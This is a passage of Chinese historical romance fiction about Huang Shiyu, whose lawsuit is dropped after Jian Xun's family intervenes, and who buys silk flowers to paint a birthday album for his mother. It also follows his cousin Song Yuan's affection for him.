华山长点点头,“基本可以这么认为。” “茶农采三月兰霜上贡,同年九月的则可以作为御赐之物赏公卿勋贵,因而坊间流通的皆为九月兰霜,以牛乳煎之味道略淡于三月,但也可称之为兰霜乳茶,不过你家用的却是红萝。” 其实泽禾这种地方能用上红萝已很良心了。 黄时雨赧然强笑。 华山长浑不在意,“没说你家不好,味道算我喝过的所有红萝里顶尖的,再说一分价钱一分货,倒也不算奸商。” 华山长真是个宽宥之人。 黄时雨暗下决心以后得多孝敬他。 鹿锦书院的华山长受雇于朝廷,享朝廷俸禄,进过宫不算稀奇。 可是金主,年纪轻轻的,无官无爵,是怎么混进去的呢? 他看起来并不像内侍……黄时雨摇了摇头甩掉不切实际的猜测。 别说他不像,即便真的是,也不会来书院啊。 黄时雨估量他多半是某个世家子弟。 不禁感慨小小泽禾真是庙小妖风大,池浅王八多,一个个都是京师里的贵人,就连要告她的裴员外京师都有人。 就她不是京师的。 且说这位造成了黄时雨诸多困扰的裴员外,已来到了繁华的京师, 裴员外的亲表哥裴大人,官拜吏部从五品员外郎,当值的官署就在皇城内里,皇帝一句召见那提着衣袍小跑着就能过去的,可见吏部离皇帝有多近,仅次于翰林院。 但裴员外没搞明白一件事,官署离皇帝近,不代表本人就能亲近皇帝。 在吏部上衙一辈子也没见过圣颜的大有人在。 再说回这位表兄裴大人,裴大人的发妻姓简,乃安国公远房庶出堂兄的侄孙女的嫡女,拐了不知多少道弯,但好歹姓简。 于是裴大人婚后出了京师便以简氏女婿自居,倒也能唬住不少眼皮子浅的。 原则上来说他确实也算简氏女婿,但若在京师这么强调只会图惹人生笑,故此才会出京师标榜。 裴大人十分精明。 不意蠢表弟裴员外当了真,在泽禾呼风唤雨,搅动风云,历年惹过不少是非,如今却不知大祸临头,惹到了真祖宗。 裴员外肿着两汪眼泡,凄凄惨惨扑进了表哥书房,道不尽满腹委屈,中年丧嫡子,好不哀惨。 他跪求表哥做主,好将犯事的秀才之女拿下大狱,治一个过失杀人之罪。 只要人在牢房,他就有一万种法子针对,先让狱卒排队糟蹋一番,再活活饿死,对外便称突发恶疾猝死,料那穷秀才也不能把他怎样。 他抱着表哥的腿哭道:“那秀才挂着小三元老师的名头,其实就教了简允璋两年而已,算什么正经老师,狗县令却怵他怵得要死,全然不见平日里受贿的胆魄,只会对我和稀泥。表哥,如今我只有你了,求你为我做主啊!” 裴大人宽大的衣袖下骨节早已攥得发白,嘴唇略微发抖,眼睛直直瞪着裴员外。 他说道:“往日,你虽然没脑子,却也是个会看眉眼高低的人,我竟没想过你在泽禾作威作福年久,把最后这点也丢了。” 裴员外愣住,脖子一紧,就被表兄抓着衣襟提起,只听他咬牙切齿道:“你的脑子,是不是除了水便是粪坑,有没有想过县令多番和稀泥的用意,怕是都要明示了,你竟没有一丝觉悟,连你都知黄秀才只是个穷秀才,那县令——一县之长又岂会怕他!” 是呀,县令怎么会怕黄秀才,却偏偏不给裴员外面子,这到底是为何呢? 裴大人气急败坏,将裴员外按在地上一顿拳打脚踢,直打得他双目金星乱迸,口鼻开了染色铺子,终于打出了那么一丝灵感,哭嚷道:“简家,是简家,简允璋尊师重道,高义过人,与黄秀才师生之谊非比寻常……” 裴大人慢慢停下了拳头,面无表情盯着泥猪似的表弟,这些年,表弟被酒色掏空的不是精血而是脑子。 他感到疲累,只一个字一个字道:“回去之后就当什么也没发生过,把案子不动声色销了,切莫再去招惹黄家,以后你还能继续在泽禾耀武扬威。” 裴员外捂着汩汩涌出的鼻血,眼泪也奔涌而出,“黄,黄家凭什么……” “就凭简少爷看上了他闺女。” 简允璋还未娶妻,自然不便公开贵妾,除了县令其他人不知晓也很正常。 不过但凡有点脑子一来二去也猜得出,唯有裴员外顿悟不出。 不仅如此,他还到处赌狠撂话要弄死简允璋的贵妾。 裴大人忽然之间连骂也不想骂了。 裴员外身子一软,歪倒在地。 黄时雨倒是开心不已,终于看完了《文公散集》。 期间华山长不停催促“到时间了到时间了”,她厚着脸皮捂住耳朵,华山长气得嘀嘀哝哝,却还是回答了她每一处疑问。 这是个嘴硬心软的老爷爷。 从学馆回西泉门,要经过一方鱼池,规模虽不如天水观的,景却造得分外有韵,又因此处距离东泉门极近,故而遇到金主也在情理之中。 黄时雨一双明眸从鱼池抬起,发现了金主,完全没多想,当即笑弯弯地打招呼:“思渊兄!” 韩意淮撩眼看向她。 第27章 阿淮 上回在西泉门,她可不是这般热情,不仅一句“思渊兄”也未招呼,连笑意都隐在简珣身后。 现在简珣不在旁边,复又重新对他殷勤。 当他是什么不值钱的,没见过女人的吗? 韩意淮收回目光拔腿回舍馆,走着走着竟又鬼使神差地走向了她。 黄时雨的笑意也慢慢凝在了唇畔。 印象里的思渊笑容明璨,长着一双小鹿似的清澈眼眸。 现在呢,现在不是的! 他微垂着脸,闻声撩起眼皮望定她,眸漆黑,脸上一点表情也无。 这使得当他踱步走过来,她下意识往后退了一步。 韩意淮问:“有事?” 黄时雨老老实实地回:“没有……” “没有你喊我做什么?” “我就打个招呼。” 韩意淮似笑非笑,“上回怎不见你打招呼?” 上回是什么时候?黄时雨想了下,忆起是两天前西泉门附近,离这里不远,“你说那日呀,我还觉得你奇怪呢,理也不理我,怪吓人的。” 吓得她没敢出声,等鼓起勇气的时候也只能望见他背影了。 韩意淮语窒。 似乎不愿再继续这个话题了,他突然问:“你说过初一十五要给我请安的,没忘吧?” 见他笑了,黄时雨心间才舒了一口气,“没忘,不过今日才廿四的。” “我当然知道今天是廿四,只不过特特提醒你一下而已,毕竟你这个人说话做不得数,约好的在我这里学念书,转眼就找了下家,得陇望蜀。” 黄时雨被他奚落的面红耳热,像个犯错的孩子似的垂着眼,原来他发现了自己在华山长那里偷偷念书。 可这是怎么发现的呢? 不应该呀。 果然他下一句就是,“口口声声说没空读书的人却在偷偷跟简允……华山长学,朝秦暮楚,见异思迁。” 黄时雨已是强弩之末仍在狡辩,“我,我那是趁着送餐的空隙请教华山长,顺便而为的事,才不是你说的那样!你若不信便去问他老人家,反正我们家不许女孩子念书又不是什么秘密。” 韩意淮凝滞了下,轻声问:“真的吗?” 声音有所回暖。 黄时雨答当然真的。 韩意淮喉结微微滚动,似乎在判断什么。 黄时雨清了清嗓子,“下个月中秋节,你确定初一十五都在书院?” “不在。” “那我……” 韩意淮摇头,“不行,少一天都不行。 不过他有个折中的法子,“节后回来补上。” “行吧。”黄时雨点点头,“那没其他吩咐我先回去了哈。” 韩意淮再次语窒,好半天才“嗯”了声,怏怏的,身形却动也不动。 黄时雨只好再次开口恭请他稍稍挪开,以便自己通过。 韩意淮假装没听见,突然问:“你和简允璋从小就认识?” 黄时雨没想太多,脱口而出,“是呀。” 韩意淮盯着她睫毛,“喔,我们也从小认识。” 黄时雨果然仰脸看他了,惊奇道:“原来你和简允璋也是发小!” 简允璋? 韩意淮像是发现了什么,眉峰微挑。 不过他与简允璋可不算发小。 黄时雨赫然发现思渊的态度逐渐晴暖,不似方才表面笑眼底却盛着凉凉的攻击性。 就没见过反差这么大的人,不由对他生出一丝惧意。 “你,平时都叫他简允璋?”韩意淮自觉地让路,然后若无其事陪她沿廊往西去。 黄时雨不解道:“是呀,难道他还有其他的字?” 韩意淮不答反道:“其实我叫阿淮,你可以叫我阿淮。” “喔,我知道了。” 他偏头看向她,欲言又止。 走了片刻,黄时雨笑道,“我要回西泉门,你要去哪儿?” 韩意淮直言不讳,“我在送你呀。” 这么明显都看不出? “那你不能再送了,前面可就男子止步。” “好。” 黄时雨在他眼底如蒙大赦。 韩意淮笑了笑,眼角微挑打量着她背影。 在书院住了三天四夜,按说京师那边早就收到了简允璋的名帖,不知事情进展的如何。 可惜非休非假的,见简允璋一面难度堪比登天。 他自律得可怕,等闲不会改变课业计划,黄时雨也不敢真拿些鸡毛蒜皮的零碎去打扰他,只能掰着手指数日子。 在黄时雨尚不知晓的角落,裴员外夹着尾巴回到了泽禾县里,又夹着尾巴去衙门销了案。 女婿县丞问他发生了什么? 他只摆摆手,“没甚大事,不想告了,那个你回头早点把丐婆的案子结了吧,砍脑袋。” 县丞诧异地觑着老丈人满脸的青紫,“哦”了一声。 裴员外回到家中左思右想,又命人给黄秀才家送了一份贽礼,绸缎绢纱若干并一些福寿饼之类的,权当低头了,以后井水不犯河水。 黄太太得意的尾巴几乎要翘上天。 若非黄秀才再三警告,她不定要出去如何显摆的。 然而到底是傍着极为讲究的门第大户,再加上黄秀才耳提面命,黄太太早就歇了心思。 此事终于告一段落,黄时雨悬着的心渐渐放回了肚里。 如今,她在亲朋好友的呵护下,也算是死里逃生。 原是该亲自登门对简珣道一句谢,又觉得有诸多不便,那就交由阿爹去吧。自己则提笔写了封致谢信给简珣,用词质朴,感情充沛。 甫一落笔,她自己端着欣赏片刻,又给琥珀和柳儿看,大家有了共同的发现——字迹娟秀,像模像样。 黄时雨的一笔好字终于初现端倪。 这封字迹工整甚至说得上秀丽的信件由福泽送去了东泉门。 让福泽当差主要是为了仆归原主。 未料没过多久,福泽就跟着福喜回来了。 福喜奉上一封简珣的回信,又将福泽拉到了黄时雨跟前,笑道:“二小姐,少爷一开始的意思就是让福泽跟着您,岂有再要回之理。” 这黄时雨哪里能收。 朋友间纵是不矜细行也不代表可以收越界之礼。 砌园册页和名师小札分别为简珣亲手所绘或誊抄,重在心意,而《嵩山晴雨图》则是赝品,她方才斗胆偏下,但福泽不一样的。 福泽是一个活生生的人,且价格昂贵,足够买下她家所有下人。 许是早已料想黄时雨的拒绝,福喜继续道:“怎敢令二小姐为难,其实吧,就是少爷有求于您,您不收便不敢开口的。” “你去回他不用同我客气,况且早前就已说好,他帮了我那么多,以后有什么我力所能及的事只管吩咐便是。” 几番推让无果。 福喜带着福泽原路返回,原话回明简珣。 他道:“黄二小姐说为简夫人的生辰画一套四季十二花册既是她的专长亦是小辈为长辈该做的,这样的事,您就该直接吩咐一句,却拿个大活人来换,委实看轻了她。” 简珣轻叹。 自是明白理由牵强站不住脚,不过是想送个小厮于她使唤而随意找的借口,转念一想,不急一时,将来再说吧。 廿六这日,在福喜的帮衬下,黄时雨又大包小包地搬回了铺子。 恰逢黄秀才也在,这回倒是真心来看望黄时雨的。 甭管这真心的出发点是利益还是父爱,总之都是担忧她出事。 看完人后,黄秀才松了口气,梅娘被允璋照顾得很好。 琥珀带着柳儿在楼上收拾,花家人都在大堂和后厨忙碌,此时此刻,黄时雨拥有了一个绝对不会被打扰的说话空间。 她有一堆的肺腑之言,不吐不快。 那就择日不如撞日吧。 黄时雨当着阿爹的面直挺挺跪下。 黄秀才拧眉看向她:“你这是要唱哪出戏?” 黄时雨回自己不唱戏,然后直言不讳地向黄秀才陈情:“阿爹,关于我的亲事,往后能不能让媒人在街头巷尾打听清楚再做决定,至少不要再香的臭的给钱就行。” “您先别动怒,我只是想到一个问题——倘若再有个张盛王盛,我还会不会如此幸运。” “今天就算您打我骂我,我也要把心里话说出来,旁人家如何我不管,咱家里,我的亲事,便不劳烦继母了。您自己想想,她给我和阿姐找的都是什么人家。” “您老也别再拿我当五岁孩子哄,两桩亲事,继母怎么摆布我的,您心里应是比我更清楚。先抢李富贵也就罢了,再把裴盛推给我,就凭裴家的家底,那裴盛但凡有点人样,八辈子也轮不到我,她却偏偏塞给了我,当时我就预感不对劲,可您是我爹,我信了您。” “裴盛这件事,罪魁祸首不外乎继母,我们能靠简家一时还能靠一世?您若是再不分青红皂白纵容她,早晚还得出事。” 别以为裴员外单单只告黄时雨其他人就可以高枕无忧。 若无简家,处理完黄时雨,其他人也一个别想逃。 这个道理黄秀才比黄时雨更懂,确实是他没约束好黄太太。 黄时雨是个老实孩子,但老实不等于木讷。 姐姐的言传身教初见成效,妹妹开始尝试为自己的利益争辩。 一口气说了这么大串的话,黄时雨也做好挨一个大嘴巴的准备,未料阿爹竟破天荒地听她说完了。 阿爹的脸色发黑,目光不善,却奇怪地隐忍着。 黄时雨等了好半晌也没等到预期中的巴掌。 黄秀才冷着脸道:“你的婚事由我做主,一切由我决定,你继母干涉不了,你,也不得干涉。” 黄时雨点点头,“可以,我相信阿爹。” 后娘不可信,亲爹总值得再信一回。 黄秀才被女儿的虔诚灼伤,他调开了视线,木木然而坐,直到茶水生凉也未动一口。 黄时雨起身欲上前添热水,黄秀才终于开始动了,他猛然起身离开圈椅,拂了拂袖,阔步走出小厅。 黄时雨默默地望着他背影。 接下来的日子,黄时雨认认真真准备四季十二花册。 简夫人的生辰在八月十二,也就是留了半个多月予她准备,足够了。 受简家恩荫,就相当于受了简夫人恩惠,简珣的则更不必说。 在黄时雨眼里,为简夫人准备生辰贺礼是自己的本分,谁知简珣还命人送了一箱双林绫绢并彩墨。 原不该收的,但算了下一本绢本设色的成本,她又收了。 那不是她能买得起的。 即便感恩也得量力而行。 花是她亲自画得姑且当另一种出力…… 简欣兰携着爱女宋鸢初六就到了泽禾,随行的还有国公府大夫人身边的于妈妈。 同她们一道运送过来的九辆车驾亦装得满满当当,有三辆是贺礼。 这些年,简夫人与安国公府的人情往来不仅从未断过,还维持得极是体面。于妈妈属于老面孔,每年都是她过来,只不过这回多了简珣的表姑母和表妹。 简欣兰既是简珣的表姑母,也是老太君的嫡幼女,而宋鸢是简珣的表妹,按老太君的意思,做不成亲家还得做亲戚,亲戚之间就该多走动。 程氏岂是那等凡事挂脸之人,自然款待周全。 简欣兰母女继续下榻雅月轩。 今年的生辰贺礼明显胜于往年,安国公对简珣另眼相待,作为儿媳的大夫人自然也要多看重几分。 国公爷的态度决定了大夫人对程氏的态度。 简珣初七才回到家。 穿过长长的回廊一个窈窕的身影跃然眼底,笑靥如花,身后还跟了四个丫鬟。 鸢娘在逗阿娘去年才买的西施犬。 西施犬有灵性,认得简珣,甫一听见熟悉的脚步立即丢下绣球朝他奔去。 宋鸢紧追不舍便也发现了简珣,明净眼眸益发光彩夺人,“阿珣哥哥。” 简珣含笑,“鸢娘。” 第28章 妆阁 宋鸢唯恐自己失态,用力攥紧手指才平复了心绪。 明明以前都好好的,认真计较也仅有微许的遗憾与唏嘘,可自从上回一别,她就变了,时常地想念他。 有时还会默默垂泪。 四个丫鬟目睹廊上久别重逢的少年男女,既不好离得远以免落人话柄,又不能离太近打扰,于是都稍稍侧过了身,极为知情识趣。 这里是简家的大花园,不时路过一两个仆妇丫鬟,周遭宽敞明亮,还是在庑廊下,那就让两个有情人好好说说话吧。 宋鸢的眼泪令简珣疑困连连,相逢不应当是开心的吗,为何她会哭呢? 宋鸢好不容易止住泪意,侧身自己用帕子擦干净,才红着眼眶,仰脸望向他。 美人垂泪,绝色芳华,正当年少的简珣岂有不心动的道理。 他温柔凝视她。 宋鸢害羞地垂下眼睫:“阿珣哥哥,肃王没看上我,我好开心……” 简珣嗯了声,“我知道。” 肃王一直在配合上面追查科举不正之风,无心婚姻之事。 宋鸢难过地咬了咬下唇,支支吾吾地问:“那你说的话还作数吗?” 简珣愣了下,不解道:“哪句话?” 自然是娶她的话……可是宋鸢也愣住了。 他所谓的娶是庚帖还在的情况下,然而庚帖早就不在了啊,没有庚帖就只能做他的妹妹了。 宋鸢面色唰地就白了,泪光泫然欲滴。 却到底是女孩子,无论如何也无法当面询问娶不娶自己的话,唯有心口撕裂一般的疼痛。 好半天,她才找回自己的心神,“你说过泽禾的中秋月儿和京师的一样美,那日取缔例行宵禁,街市通宵营业,张灯结彩,人们结伴游玩,登高赏月,连姑娘家都可以出门,那……阿珣哥哥可以带我玩吗?” 中秋赏月带上鸢娘无可厚非,她不仅仅是动人的表妹亦是客人,然而简珣此前一直想的都是梅娘。 怎么也未料到今年的中秋将多一个鸢娘。 他面有难色。 宋鸢问:“难道阿珣哥哥已经有想带的人了吗?” 他表情显然是有的。 宋鸢幽怨地瞥他一眼,不再追问了,袖中纤白的手隐隐发抖,却默默转身离去。 简珣道:“好,我带你,也带上表姑母,以便略尽地主之谊。” 宋鸢破涕为笑,两靥粉扑扑的,自是明白简珣的用意。 换做从前的话,倒也可以只有他和她,但现在终究不大好,主要是表舅母的心里还膈应着呢。 她不能在表舅母还不乐意的情况下,明显单独与阿珣哥哥相处。 她回头哼了一声,娇嗔道:“谁要跟你单独玩,我阿娘当然得跟着。” 简珣失笑。 她就红了脸,扭过头不理他,携着丫鬟逃也似的离去。 简珣有自己的考量,反正梅娘也不会答应与他夜行赏月,她对他戒备得很,那就带上鸢娘吧。 毕竟他也有一点点想她,尤其是有话要对她说。 唯有开诚布公,彼此才能谈以后。 那么梅娘的存在瞒着谁也不应当隐瞒鸢娘。 倘若鸢娘接受梅娘为贵妾,自是皆大欢喜,他也有信心成为一个负责的夫君,反之,亦不会勉强,正好断了鸢娘念想,从此做回真正的表兄妹。 简珣并未意识到自己正在本末倒置。 而本末倒置根本当不了一碗水端平的好夫君。 黄时雨的行为倒是被简珣忖度得清清楚楚,她从来不出门赏月,更别提单独与简珣了。 能在那样热闹街市出行的女子都有一群在乎她们的人,不是家仆侍婢环绕便是父亲兄弟环绕的。 像她这样势单力薄的漂亮姑娘家凑过去,多半要被拍花子拐走。 阿爹继母再不好,也好过拍花子。 泽禾的每一个小孩都知道被拐的下场,不是卖进脏地方病死就是要撅折了胳膊腿沿街乞讨。 黄时雨爱极了这双会画画的手,死也不能被撅折了。 简珣倒是可以保护她,但男女有别,大晚上的多尴尬,他不尬她还尬呢。 说到底,这种事还是需要有点暧昧关系的人才能做。 将来她有了夫君,自会请夫君带她出来玩的。 现在的黄时雨心思全放在了为简夫人准备四季十二花册上。 十二种花多为老百姓常见的品种,有的甚至是黄时雨练习的固定范本,因而画起来得心应手,倒没甚难度。 但也有两种令她颇费脑筋和伤神,那便是四月的牡丹和冬月的水仙。 这两种花,平昔只在旁人笔下略略见识,却从未近距离观察过活物,未亲身经历过,画师的笔杆子就没有灵气,这是黄时雨所不能忍受的。 灵气,就是画魂,亦是匠人的精神与执念。 及笄那年,在没有任何名师引路与指点的情况下,黄时雨便自行领悟了一名画师的匠人精神。 为此她不得不去请教黄秀才,等同暴露了自己学画的事儿。 黄家的规矩是不允许女孩识字,但没说不可以作画。 话虽如此,却也相当铤而走险。 黄时雨之所以敢这么做,关键是有虎皮给她做大旗,虎皮不必说就是简珣。 凡事只要扯上他们家,阿爹就什么脾气都窜不起,说不定不仅不反对还要全力支持。 黄时雨预想得都挺好,却万万没想到黄秀才听完脸都绿了。 黄秀才怒目切齿,吼道:“你,你竟敢背着我偷学旁门左道!” 此刻的他恰似雷电轰顶,又觉耳鸣气窒,犹不肯信似的倒退两步。 画画怎么会是旁门左道? “我没有……”黄时雨睁大了眼,骇然忡忡目视阿爹几度变幻的脸色。 有那么一瞬,她毫不怀疑,阿爹非常想揍她,拳头攥地咯吱作响,几乎要捏碎了。 危急时刻,黄秀才猛然想起了两个重点:为谁作画为何作画。 “简家”两个字宛若一盆凉水兜头浇下,拉回了他的神志,那捏紧的拳头总算哆嗦着松开。 黄秀才面青唇白,踉踉跄跄后退数步,扶着冰冷的椅背而坐,汗湿脊背。 他低着头,大口的呼吸。 往日种种,摧枯拉朽般险些将他重新拽入渊狱。 他努力平复呼吸,以图自己不那么难过,忘了所有的不得志,以及那个女人赐下的屈辱。 “阿爹……”黄时雨颤颤巍巍,几欲吓哭了。 黄秀才循声望去,辨认半晌才想起,这是二女儿黄时雨。 越长大越美貌,远山芙蓉,海棠醉日,真讽刺啊。 黄时雨怯怯道:“阿爹,你怎么了?” 黄秀才收回目光,木然启音:“我没事。” “你可以用绒花和通草花代替真花来观摩。” 绒花和通草花乃时下女子妆奁不可或缺之物,但二者前身实则是贡品,近年才允许坊间流通,价格直追珠宝且不保值,一旦染旧便失去价值,故而妆点此物的非富即贵,乃顶奢之品。 在大康,高等匠人所出的绒花通草花,颜色姿态栩栩如生,成品难辨真假,与真花无异。 而黄时雨日常戴的都出自小作坊,也是大部分女子的选择,款式模样虽大打折扣,但胜在便宜。 黄秀才指点她去县里的妆盛阁,那里有比真花还像真花的绒花通草。 不愧是博闻强识的阿爹,黄时雨顿觉柳暗花明,又苦恼地耷下眉眼,“我买不起,店家也给看吗?” 黄秀才默了默,从袖中掏出一张五十两的银票,“挑喜欢的买吧,记得分一朵给晴娘。” 五十两的银子! 黄时雨眈眈踟蹰。 “咱们家倒也没你以为的那么穷,五十两买花戴姑且应付得起。”黄秀才的气色略有缓和,却依旧面无表情,不耐烦道,“快去吧,莫要耽搁了简夫人的生辰贺礼。” “简夫人”三个字提醒了黄时雨,莫说五十两,就是五百两都值。 她也不是磨磨唧唧的人,抓起银票拜谢阿爹就回房收拾。 一炷香后,带着琥珀坐上杜叔的骡车前往妆盛阁。 这日正是初八,有人请了戏班子在闹市口搭台,鼓乐幡幢,观者沸沸扬扬,显得东面的妆娘街稍稍冷清。 然而妆娘街需要的也不是这些爱看热闹的普通老百姓客人。 他们所盼的全是当地的富豪官绅家眷。 黄时雨此前没进过这种摆满奢侈琳琅之物的场所,幸而琥珀见多识广,当年的她也曾珠翠满头,绒花通草换着戴。 来的路上,琥珀已经仔细地讲解了这一行的规矩,了解规矩便让人看不透。 而人,通常只会敬畏看不透的人。 黄时雨谨记再三,又特意打扮过,乍一望去仿佛哪个书香门第清流人家的小姐,且她姿色清艳,自踏进妆盛阁就引来不少惊艳目光。 打量她的都是女子。 而女子看美人单纯就是因为太美了,想看。 这里的客人不多,然只要开张一笔即赚够一个月吃穿用度。 故而每位客人都很珍贵,前来接待的也都是阁中伶俐讨喜的妆娘。 今日总共来了两拨客人,黄时雨是第二拨。 妆盛阁的客人不能用个来计算,因为来买珠宝的哪个不是携奴唤婢,亲朋环绕的。 似黄时雨这般只带了一个丫鬟已经实属低调。 不过她的脸就是最大的门面,没有妆娘会看轻这张脸。 哪怕黄时雨不刻意打扮,妆娘也会悉心接待的。 这样的美人别说不可能微末,即便微末,也是暂时的,将来不可限量。 但未知底细,妆娘也不会引黄时雨去二楼的珠玉雅间。 一则那里接待的都是出手动辄百两千两的贵人;二则万一黄时雨买不起,岂不尴尬。 妆娘绝不让自己的客人陷入尴尬。 她款款上前福身,柔声细语地问:“敢问小姐需要金玉宝石还是绒花通草,亦或还未想好,那我便伺候在旁,您随意逛,有了想法随时吩咐我一声。” 好温柔的声音,说的话更是令人暖洋洋的惬意,全然无一丝傲慢之态,尽管黄时雨通身还不如她富贵。 黄时雨心里啧啧称奇,面上却能作出一番镇定平静,显得宠辱不惊。 琥珀投来一个赞许的眼神。 她便愈发自信,对妆娘道:“我想看看绒花或通草的牡丹水仙。” 妆娘道了句好,“姑娘且随我来。” 说罢,在前引路。 三人来到了一处由江南刺绣屏风隔开的雅间,此间立着一名漂亮的丫鬟,甫一瞧见她们立刻福身施礼,然后口中道着请上座,手也不闲着,洗杯点茶,一套动作行动流水。 幸亏带足了钱财,从进门到现在的待遇,委实拉不下脸面分文不付。 且说妆盛阁的第一拨客人,正在二楼雅间品茗,也是一位欺霜赛雪的人物,来自京师,那通身气派一看便是官宦人家的嫡小姐,道一句倾国倾城亦不为过。 倾城小姐身旁的贵妇则是她的娘亲。 母女二人仆婢环绕携手而来,陪同她们一起的则是个少年公子。 虽然男女容貌没有可比性,但他的出现,确实令周遭都黯然失色。 除了阁主,这里无人识得简珣。 并非简珣来过此地,而是阁主每个月都会去简家送妆奁之物,机缘巧合见过一次,方得知是简夫人的独子。 阁主立时分开众人,笑吟吟上前福身见礼,热络地询问简珣可是简夫人有何吩咐?若有的话直接差人来说一声即可,怎敢劳动公子亲自跑一趟。 简珣尴尬道一句陪姑母和表妹见识风土人情,顺道路过。 阁主挥退多余的人,亲自引路贵客登上二楼的珠玉雅间,全程伺候左右。 妆盛阁遍布大家南北,分店近百家。 该有的品相都有,拿得出手的皆为当季最新的样式,自是旁人家望尘莫及,但比京师也略略差些意思。 宋鸢和阿娘挑挑拣拣并无十分惊艳钟意的,随手点了两根玉钗,合计不到四百两,权当给阁主的辛苦钱。 阁主笑逐颜开,命丫鬟取锦盒放置。 简珣坐姿笔直,只盼姑母和表妹快些选完,还他自由。 宋侍郎今年在外地办差,中秋前无法归京,简欣兰计上心头,不日便携宋鸢来到了泽禾。 此行既为奉上宋家的贺礼,亦打着陪程氏过中秋的旗号小住。 由于她亏欠在先,乃心虚之人,因而贺礼竟是真心下了好一番血本,以期重修两家旧好。 这日简欣兰一时兴起,邀程氏出门透透气,程氏素来深居简出,便只能点了简珣作陪。 程氏将简欣兰得逞的喜色收入眼底,心中不屑。 简欣兰终于如愿以偿。 程氏怎么可能为了陪她而出门呢,但也不能丢给下人,所以就只有简珣咯。 简珣硬着头皮接了差事,不意姑母又带上宋鸢。 好吧,陪表妹逛逛也不算坏事,这个想法在踏入妆娘街就破裂。 周遭全是女子。 不缺眼神火辣大胆的。 直至走进妆盛阁他才长长地舒一口气。 他发誓,这辈子再不会踏进红粉之地。 宋鸢早就发现简珣的不自在,既心疼又好笑。 借桌案遮挡,她偷偷拽他袖端,柔声道:“待会我们还要重新梳头,你陪了半晌应是累了,不若去妆盛阁后院的花园喝茶歇会,那里安静。” 鸢娘一如既往地善解人意。 简珣轻轻颔首,“好。” 抬手正欲起身,未料宋鸢的手还未完全离开,两人不经意地撞上了。 电光火石,宋鸢满面赤红。 简珣也觉得赧然,便歉疚地望一眼鸢娘,同时缩回了手,身形却猛然僵住。 当他缩回手,与此同时再次被握住了。 鸢娘攥着他的,像小时候那样摇了摇。 鸢娘? 万没想到她这么大胆。 那只小手很软也很温柔,不像梅娘时不时张牙舞爪,甚至打他…… 简珣垂下脸,虽说心底也有点想仔细感触,但更知于理不合,便强迫自己抽回。 鸢娘却不愿意,就要拉着他。 他的心跳越来越快,不是激动的,竟是莫名地心虚,鸢娘怎么这么任性。 简珣深吸了口气,倏然用力撤回,起身朝姑母告退,提前离席。 宋鸢垂眸,粉面若火烧。 阿珣是不是生气了? 会不会觉得她不是个好姑娘了? 可是他的手那么温暖有力,令她全心地想要依靠。 第29章 落寞 黄时雨与情窦初开、柔肠百结的鸢小姐完全不同,目下正与妆娘熟络起来,一片开朗言笑。 众所周知绒花的材质包含桑蚕丝线,意味着总有一日染旧吃灰,但又不能洗刷,两三年后可能就要弃置,不似珠宝还能代代相传。 绒花仅两朵就要五十两,且在时下无法保值,确实不适合普通人家。 但它们所呈现的意境绝非普通匠人所能企及,蕴含的巧思设计和细腻手法,黄时雨一眼即看透。 画师与绒花匠人历来就有许多相通之处。 黄时雨仔细看了一番便爽快道:“麻烦娘子帮我包起来。” 小姑娘目标明确,进店点名牡丹水仙,验见了实物当即敲定。 如此省心省力的客人,没有妆娘不喜的。 要知道妆娘平日里面对的女眷一个赛一个地挑剔,她们不在乎价格,但要求繁多,不乏苛刻古怪者,有的甚至连续换了十几种发式,也不满意。 不满意就得继续梳,总有合心意的。 头发被人梳来梳去并不轻松,客人们断不会承受不轻松之事,多由贴身的仆婢来代替,自己则倚榻漫看,指点妆娘,好不惬意。 妆容方面更是奇葩。 有时候为了提供客人惯用的唇脂,妆娘甚至还得现买,来来回回折腾一趟两个时辰都见过。 钱难挣屎难吃。 接待黄时雨的妆娘心情甚好,投桃报李道:“小姐这般喜爱牡丹水仙,若不嫌弃,便端两盆我们阁自己养的回去聊做赏玩。” 通常来说百两以下的客人没有这般殊待。 “多谢娘子美意。”黄时雨大大方方道。 “哪里哪里,分明是小姐您瞧得起我们。”妆娘笑道。 她引着主仆二人朝花园走去挑选。 果然如琥珀所言,每家妆盛阁都有自己的大花园,常以时令鲜花赠客。 黄时雨为牡丹水仙而来,原是该相赠二者,但二者并非时令,尚不在花期,且也需要几多耐心养护,妆娘便一一照实说了,“小姐若不擅花道也不打紧,我们还有姹紫嫣红任凭挑选。” 黄时雨道:“无妨,我可以慢慢学。” 黄家田庄有一户花农出身的佃农,去年因变故才开始种田,但本领还是有的,指点黄时雨足够。 解决了最后一道难题,又收获昂贵的绒花与不便宜的真花,虽说真花尚未绽放,却也弥足珍贵。 黄时雨喜悦难自抑,与琥珀一人抱着一只花盆,心里美滋滋地往外冒泡。 妆盛阁就连花盆也藏了许多心思,牡丹瓦盆水仙陶瓷,从材质到深浅各不相同。 匠心与虔敬藏在每一处细节。 合该人家能在大康开近百家分店。 “黄二。” 黄时雨循声望去,“简允璋!” 她心情好,连同他说话的声音也洋溢着甜蜜,令简珣听得耳朵发热。 少年腿长,几个步子间就迈到了她身前,自然地接过她手里的花盆。 这于她来说有些沉。 “你不会也来买花戴吧,哦——”黄时雨说了一半就拖长了尾音,一副嬉笑顽皮的眉眼,显然是在调侃他。 简珣垂眸望着她,“我奉阿娘之命陪表姑母和表妹随便逛逛。” 简夫人生辰在即,虽不是整岁,但在大康大户人家也会与时常走动的亲戚们坐在一起热热闹闹吃个酒。 想必简珣的表姑母和表妹正是为此而来的。 想起来了,他的表妹不就是鸢娘! 黄时雨打量他的眼神益发暧昧,笑嘻嘻地啧啧两声。 简珣的神色却没什么波动,只瞬也不瞬凝视她,忽然笑道:“你牙上有菜。” 黄时雨蓦地抿了嘴,收起调侃。 又反应了过来,自己牙上怎会有菜,她自来用过饭食都会漱口再洁齿的。 简珣嘴角抑制不住上扬,“生气啦?” 她小声骂道:“骗子。” 简珣低着头微笑。 不过忙正事要紧,黄时雨可没太多时间与他磕牙,便想重新接手花盆,“我只差两幅花了,杜叔就在前面等我们,没多远,我自己能行的,你忙你的。” 她着急回去呢,虽说简珣帮她抱着花盆,却一副不愿意迈腿的架势。 简珣不客气地拨开她柔嫩的小手,灵犀一动,“原来你是为了十二花册。” “是我考虑不周,请你帮我做事怎能令你破费,”他的眼睛那么明亮,清晰地倒映着黄时雨,“你喜欢什么,我给你买好不好?” 说罢,又看向旁边的妆盛阁丫鬟,“以后,黄二姑娘的账便记在简府上。” 那丫鬟笑吟吟俯身应是。 黄时雨连忙制止,“我早就付过了银钱,况且买的花也是我自己戴,又不给你,才不要你给我买。” 